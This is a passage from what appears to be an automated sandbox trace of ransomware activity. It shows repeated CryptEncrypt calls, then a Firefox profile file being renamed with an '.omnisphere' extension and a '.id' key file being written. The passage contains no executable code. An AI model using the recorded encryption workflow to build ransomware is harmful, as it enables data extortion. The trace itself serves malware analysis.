pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.425] CryptDestroyKey (hKey=0x1639628) returned 1 [0161.425] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0161.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x71e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.425] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.426] GetProcessHeap () returned 0x1600000 [0161.426] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ec) returned 0x17483f8 [0161.426] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sitesecurityservicestate.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sitesecurityservicestate.txt.omnisphere")) returned 1 [0161.427] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt.omnisphere.id" [0161.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sitesecurityservicestate.txt.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.428] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.429] CloseHandle (hObject=0x388) returned 1 [0161.429] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.429] CloseHandle (hObject=0x3c0) returned 1 [0161.429] SetEndOfFile (hFile=0x288) returned 1 [0161.430] FlushFileBuffers (hFile=0x288) returned 1 [0161.459] CloseHandle (hObject=0x288) returned 1 [0161.459] PathRemoveFileSpecW (in: 